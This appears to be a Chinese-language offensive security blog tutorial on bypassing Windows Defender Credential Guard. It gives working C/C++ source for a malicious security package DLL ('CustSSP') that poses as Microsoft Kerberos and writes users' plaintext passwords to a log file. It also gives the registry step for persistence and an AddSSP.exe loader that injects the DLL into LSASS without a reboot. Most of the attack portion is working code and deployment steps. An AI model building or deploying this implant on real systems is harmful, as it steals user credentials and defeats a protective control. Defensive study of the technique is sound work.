0. 背景
為了避免攻擊者轉儲用戶的憑據信息,從 Windows 10 1507 企業版和 Windows Server 2016 開始,微軟引入了 Windows Defender Credential Guard 安全控制機制,其使用基于虛擬化的安全性來隔離機密,依次保護 NTLM 密碼哈希、Kerberos TGT 票據和應用程序存儲為域憑據的憑據來防止憑據盜竊、哈希傳遞或票據傳遞等攻擊。
在 Windows 10 之前,LSA 將操作系統所使用的密碼存儲在其進程內存中。啟用 Windows Defender Credential Guard 后,操作系統中的 LSA 進程與存儲和保護這些密鑰的新組件(稱為隔離的 LSA 進程,Isolated LSA Process)進行通信。獨立 LSA 進程存儲的數據使用基于虛擬化的安全性進行保護,操作系統的其余部分無法訪問。LSA 使用遠程過程調用來與隔離的 LSA 進程進行通信。
下圖簡要概述了如何使用基于虛擬化的安全性來隔離 LSA:

Source:How Credential Guard works
如果我們在啟用了 Credential Guard 的系統上嘗試使用 Mimikatz 從 LSASS 進程內存中提取憑證,我們會觀察到以下結果。

如上圖所示,我們無法從 LSASS 內存中提取任何憑據,NTLM 哈希處顯示的是 “LSA Isolated Data: NtlmHash”。并且,即便已經通過修改注冊表啟用了 Wdigest,也依然獲取不到任何明憑據。
為了進行比較,下圖所示為不受 Credential Guard 保護的系統上的輸出。

從 Windows 11 Enterprise, Version 22H2 和 Windows 11 Education, Version 22H 開始,兼容系統默認已啟用 Windows Defender Credential Guard。
1. 基礎知識
1.1 自定義安全包
自定義安全包 API 支持組合開發自定義安全支持提供程序(SSP),后者為客戶端/服務器應用程序提供非交互身份驗證服務和安全消息交換,以及開發自定義身份驗證包,為執行交互式身份驗證的應用程序提供服務。這些服務在單個包中合并時稱為安全支持提供程序/身份驗證包(SSP/AP)。
SSP/AP 中部署的安全包與 LSA 完全集成。使用可用于自定義安全包的 LSA 支持函數,開發人員可以實現高級安全功能,例如令牌創建、 補充憑據支持和直通身份驗證。
如果我們自定義安全支持提供程序/身份驗證包(SSP/AP),并將其注冊到系統,當用戶重新進行交互式身份驗證時,系統就會同通過我們自定義的 SSP/AP 傳遞明文憑據,這意味著我們可以提取到明文憑據并將其保存下來。這樣便可以繞過 Credential Guard 的保護機制。
SSP/AP 安全包,為了同時執行身份驗證包(AP)和安全支持提供程序(SSP),可以作為操作系統的一部分以及作為用戶應用程序的一部分執行。這兩種執行模式分別稱為 LSA 模式和用戶模式。這里我們需要的是 LSA 模式。
下面簡單介紹一下關于 LSA 模式的初始化。
1.2 LSA 模式初始化
啟動計算機系統后,本地安全機構(LSA)會自動將所有已注冊的安全支持提供程序/身份驗證包(SSP/AP)的 DLL 加載到其進程空間中,下圖顯示了初始化過程。

“Kerberos” 表示 Microsoft Kerberos SSP/AP,“My SSP/AP” 表示包含兩個自定義安全包的自定義 SSP/AP。
啟動時,LSA 調用每個 SSP/AP 中的 SpLsaModeInitialize() 函數,以獲取指向 DLL 中每個安全包實現的函數的指針,函數指針以 SECPKG_FUNCTION_TABLE 結構數組的形式傳遞給 LSA。

收到一組 SECPKG_FUNCTION_TABLE 結構后,LSA 將調用每個安全包的 SpInitialize() 函數。LSA 使用此函數調用傳遞給每個安全包一個 LSA_SECPKG_FUNCTION_TABLE 結構,其中包含指向安全包調用的 LSA 函數的指針。除了存儲指向 LSA 支持函數的指針外,自定義安全包還應使用 SpInitialize() 函數的實現來執行任何與初始化相關的處理。
在這里,我們的 SSP/AP 安全包需要實現下表中所示的幾個函數。
由 SSP/AP 實現的函數說明SpInitialize執行初始化處理,并提供一個函數指針列表。SpShutDown在卸載 SSP/AP 之前執行所需的任何清理。SpGetInfo提供有關安全包的一般信息,例如其名稱、描述和功能。SpAcceptCredentials將為經過身份驗證的安全主體存儲的憑據傳遞給安全包。
1.3 由 SSP/AP 實現的函數
以下函數由我們自定義的安全支持提供程序/身份驗證包(SSP/AP)實現,本地安全機構(LSA)通過使用 SSP/AP 的 SpLsaModeInitialize 函數提供的 SECPKG_FUNCTION_TABLE 結構來訪問這些函數。
SpInitialize
SpInitialize 函數由本地安全機構(LSA)調用一次,用于執行任何與初始化相關的處理,并提供一個函數指針列表,其中包含安全包調用的 LSA 函數的指針。
函數聲明如下:
NTSTATUS Spinitializefn( [in] ULONG_PTR PackageId, [in] PSECPKG_PARAMETERS Parameters, [in] PLSA_SECPKG_FUNCTION_TABLE FunctionTable );
參數如下:
- ? [in] PackageId:LSA 分配給每個安全包的唯一標識符。該值在重新啟動系統之前有效。
- ? [in] Parameters:指向包含主域和計算機狀態信息的
SECPKG_PARAMETERS結構的指針。 - ? [in] FunctionTable:指向可以安全包調用的 LSA 函數的指針列表。
SpShutDown
SpShutDown 函數在卸載安全支持提供程序/身份驗證包 (SSP/AP) 之前,由本地安全機構(LSA)調用,用于在卸載 SSP/AP 之前執行所需的任何清理,以便釋放資源。
函數聲明如下:
NTSTATUS SpShutDown(void);
這個函數沒有參數。
SpGetInfo
SpGetInfo 函數提供有關安全包的一般信息,例如其名稱和功能描述。客戶端調用安全支持提供程序接口(SSPI)的 QuerySecurityPackageInfo 函數時,將調用 SpGetInfo 函數。
函數聲明如下:
NTSTATUS Spgetinfofn( [out] PSecPkgInfo PackageInfo );
參數如下:
- ? [out] PackageInfo:指向由本地安全機構(LSA)分配的 SecPkgInfo 結構的指針,必須由包填充。
SpAcceptCredentials
SpAcceptCredentials 函數由本地安全機構(LSA)調用,以將為經過身份驗證的安全主體存儲的任何憑據傳遞給安全包。為 LSA 存儲的每組憑據調用一次此函數。
函數聲明如下:
NTSTATUS Spacceptcredentialsfn( [in] SECURITY_LOGON_TYPE LogonType, [in] PUNICODE_STRING AccountName, [in] PSECPKG_PRIMARY_CRED PrimaryCredentials, [in] PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials );
參數如下:
- ? [in] LogonType:指示登錄類型的
SECURITY_LOGON_TYPE值。 - ? [in] AccountName:指向存儲登錄帳戶名稱的
UNICODE_STRING結構的指針。 - ? [in] PrimaryCredentials:指向包含登錄憑據的
SECPKG_PRIMARY_CRED結構的指針。 - ? [in] SupplementalCredentials:指向包含特定于包的補充憑據的
ECPKG_SUPPLEMENTAL_CRED結構的指針。
2. 編程實現
通過 C/C++ 創建一個名為 CustSSP 的 DLL 項目,實現自定義 SSP/AP 包。由于篇幅限制,筆者僅提供關鍵代碼部分。
#include "pch.h"
static SECPKG_FUNCTION_TABLE SecPkgFunctionTable[] = {
{
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
_SpInitialize, _SpShutDown, _SpGetInfo, _SpAcceptCredentials,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL
}
};
NTSTATUS NTAPI _SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpShutDown(void)
{
return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpGetInfo(PSecPkgInfoW PackageInfo)
{
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
PackageInfo->wVersion = 1;
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->Name = (SEC_WCHAR*)L"Kerberos";
PackageInfo->Comment = (SEC_WCHAR*)L"Microsoft Kerberos V5.0";
return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
const wchar_t* LSA_LOGON_TYPE[] = {
L"UndefinedLogonType",
L"Unknown !",
L"Interactive",
L"Network",
L"Batch",
L"Service",
L"Proxy",
L"Unlock",
L"NetworkCleartext",
L"NewCredentials",
L"RemoteInteractive",
L"CachedInteractive",
L"CachedRemoteInteractive",
L"CachedUnlock",
};
FILE* logfile;
if (_wfopen_s(&logfile, L"CustSSP.log", L"a") == 0)
{
SspLog(
logfile,
L">>>>================================================================="
L"[+] Authentication Id : %u:%u (%08x:%08x)"
L"[+] Logon Type : %s"
L"[+] User Name : %wZ"
L"[+] Domain : %wZ"
L"[+] Logon Server : %wZ"
L"[+] SID : %s"
L"[+] SSP Credential : "
L"\t* UserName : %wZ"
L"\t* Domain : %wZ"
L"\t* Password : ",
PrimaryCredentials->LogonId.HighPart,
PrimaryCredentials->LogonId.LowPart,
PrimaryCredentials->LogonId.HighPart,
PrimaryCredentials->LogonId.LowPart,
LSA_LOGON_TYPE[LogonType],
AccountName,
&PrimaryCredentials->DomainName,
&PrimaryCredentials->LogonServer,
SidToString(PrimaryCredentials->UserSid),
&PrimaryCredentials->DownlevelName,
&PrimaryCredentials->DomainName
);
SspLogPassword(logfile, &PrimaryCredentials->Password);
SspLog(logfile, L"");
fclose(logfile);
}
return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables)
{
*PackageVersion = SECPKG_INTERFACE_VERSION;
*ppTables = SecPkgFunctionTable;
*pcTables = ARRAYSIZE(SecPkgFunctionTable);
return STATUS_SUCCESS;
}
在 CustSSP 中,我們依次實現了 SpInitialize、SpShutDown、SpGetInfo 和 SpAcceptCredentials 函數,并定義了一個名為 SecPkgFunctionTable 的 SECPKG_FUNCTION_TABLE 結構,用于存儲指向這些函數的指針。
之后,我們通過定義 .def 文件將 CustSSP 中定義的 SpLsaModeInitialize 函數導出,如下所示。該函數會被本地安全機構(LSA)調用一次,從而將 CustSSP 中實現的函數的指針提供給 LSA。
LIBRARY EXPORTS SpLsaModeInitialize = _SpLsaModeInitialize
3. 運行效果演示
將編譯生成的 CustSSP.dll 置于 C:\Windows\System32 目錄中,并將 “CustSSP” 添加到以下注冊表值的數據中,如下圖所示。
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages
通常,SSP/AP DLL 存儲在 %SystemRoot%/System32 目錄中。如果這是自定義 SSP/AP DLL 的路徑,則不包括路徑作為 DLL 名稱的一部分。但是,如果 DLL 位于其他路徑中,請在名稱中包含 DLL 的完整路徑。

當目標主機重新啟動并進行交互式身份驗證后,將在 C:\Windows\System32\CustSSP.log 中記錄當前登錄用戶的明文密碼,如下圖所示。

成功利用該方法的條件是必須重新啟動目標系統。因此只有啟動計算機系統后,本地安全機構(LSA)才會自動將已注冊的 SSP/AP 的 DLL 加載到其進程空間中。
然而,利用某些 Windows API,我們可以在不重啟的情況下添加 SSP/AP。
4. 利用 AddSecurityPackage API 來加載 SSP/AP
AddSecurityPackage 是一個 SSPI 函數,用于將安全支持提供程序添加到提供程序列表中,該函數聲明如下。
SECURITY_STATUS SEC_ENTRY AddSecurityPackageW( [in] LPSTR pszPackageName, [in] PSECURITY_PACKAGE_OPTIONS pOptions );
參數如下:
- ? [in] pszPackageName:要添加的包的名稱。
- ? [in] pOptions:指向
SECURITY_PACKAGE_OPTIONS結構的指針,該結構指定有關安全包的其他信息。
通過 C/C++ 創建一個名為 AddSSP 的項目,其代碼如下所示。
#define SECURITY_WIN32
#include
#include
#include
#pragma comment(lib,"Secur32.lib")
int wmain(int argc, char** argv) {
SECURITY_PACKAGE_OPTIONS option;
option.Size = sizeof(option);
option.Flags = 0;
option.Type = SECPKG_OPTIONS_TYPE_LSA;
option.SignatureSize = 0;
option.Signature = NULL;
// AddSecurityPackageW 默認在 System32 目錄中搜索 CustSSP.dll
if (AddSecurityPackageW((LPWSTR)L"CustSSP", &option) == SEC_E_OK)
{
wprintf(L"[*] Add security package successfully");
}
}
編譯并生成 AddSSP.exe 后,運行 AddSSP.exe 即可成功將 CustSSP.dll 添加到系統。需要注意的是,以上代碼僅將 CustSSP 加載到 LSASS 進程中,系統重啟后會失效,因此仍需將 “CustSSP” 添加到 Security Packages 注冊表并將 CustSSP.dll 置于 C:\Windows\System32 目錄中。
當用戶輸入用戶名密碼重新進行身份驗證時,我們重新得到了他的明文密碼,如下圖所示。

雷石安全實驗室
安全圈
看雪學苑
信息安全與通信保密雜志社
一顆小胡椒
CNCERT國家工程研究中心
安全圈
一顆小胡椒
0x00實驗室
看雪學苑
安全圈
安全圈